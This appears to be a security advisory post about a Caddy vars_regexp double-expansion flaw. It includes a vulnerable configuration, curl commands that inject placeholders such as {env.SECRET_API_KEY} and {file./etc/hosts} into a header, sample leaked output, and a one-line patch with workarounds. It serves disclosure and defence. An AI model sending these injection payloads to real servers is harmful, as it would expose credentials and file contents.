Caddy, Information Disclosure via Double Expansion, (CVE pending) (Critical)

Listen to this Post

The vulnerability resides in the `vars_regexp` matcher (vars.go:337) which double-expands user-controlled input through the Caddy replacer. When a placeholder like `{http.request.header.X-Input}` is used as the key in vars_regexp, the header value is first resolved normally (line 318). Then, due to a bug introduced by PR 5408, the resolved value is passed through `repl.ReplaceAll()` again (line 337), causing any nested placeholders such as {env.}, {file.}, or `{system.}` injected by an attacker to be evaluated. This leads to leakage of environment variables, file contents (up to 1MB), and system information. In contrast, `header_regexp` and `path_regexp` do not perform this second expansion, making the behavior inconsistent. The issue affects all versions since PR 5408 was merged. A one-line fix is proposed to remove the redundant `ReplaceAll()` call, aligning `vars_regexp` with other matchers.
Platform: Caddy
Version: v2.7.0+
Vulnerability: Double expansion info leak
Severity: Critical
date: 2026-02-18

Prediction: Within one week

What Undercode Say:

The vulnerability is easily exploitable if the Caddy configuration uses `vars_regexp` with a placeholder key that reflects user input. Below are the PoC steps and code.

Configuration (config.json):

{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [
{
"vars_regexp": {
"{http.request.header.X-Input}": {
"name": "leak",
"pattern": ".+"
}
}
}
],
"handle": [
{
"handler": "static_response",
"body": "Leaked: {http.regexp.leak.0}"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "No match",
"status_code": "200"
}
]
}
]
}
}
}
}
}

Start Caddy with a secret:

export SECRET_API_KEY=sk-PRODUCTION-abcdef123456
caddy run --config config.json

Exploit commands:

Leak environment variable
curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
Leak specific secret
curl -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
Leak file contents
curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
Leak system info
curl -H 'X-Input: {system.hostname}' http://127.0.0.1:8080

Output examples:

Leaked: /Users/test
Leaked: sk-PRODUCTION-abcdef123456
Leaked:
Leaked: my-hostname

Suggested fix (one-line diff):

a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
varStr = fmt.Sprintf("%v", vv)
}
- valExpanded := repl.ReplaceAll(varStr, "")
+ valExpanded := varStr
if match := val.Match(valExpanded, repl); match {
return match, nil
}

Exploit:

An attacker sends a crafted HTTP request with a header containing Caddy placeholder syntax (e.g., {env.DATABASE_URL}). If the server uses `vars_regexp` with a key like `{http.request.header.X-Input}` and reflects the captured group in the response, the nested placeholder is expanded, leaking sensitive data.

Protection from this CVE:

  • Apply the one-line patch provided above.
  • As a workaround, avoid using `vars_regexp` with placeholder keys that can be controlled by user input (e.g., do not use `{http.request.header.}` as a key). Use `header_regexp` instead, which is not vulnerable.
  • If patching is not immediate, disable any routes that use `vars_regexp` with user-controlled placeholders.

Impact:

Successful exploitation leads to information disclosure, including:

  • Environment variables (e.g., DATABASE_URL, AWS_SECRET_ACCESS_KEY)
  • File contents up to 1MB (e.g., /etc/passwd, /proc/self/environ)
  • System information (e.g., hostname, OS, working directory)
    This can compromise sensitive credentials and system details, potentially leading to further attacks.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top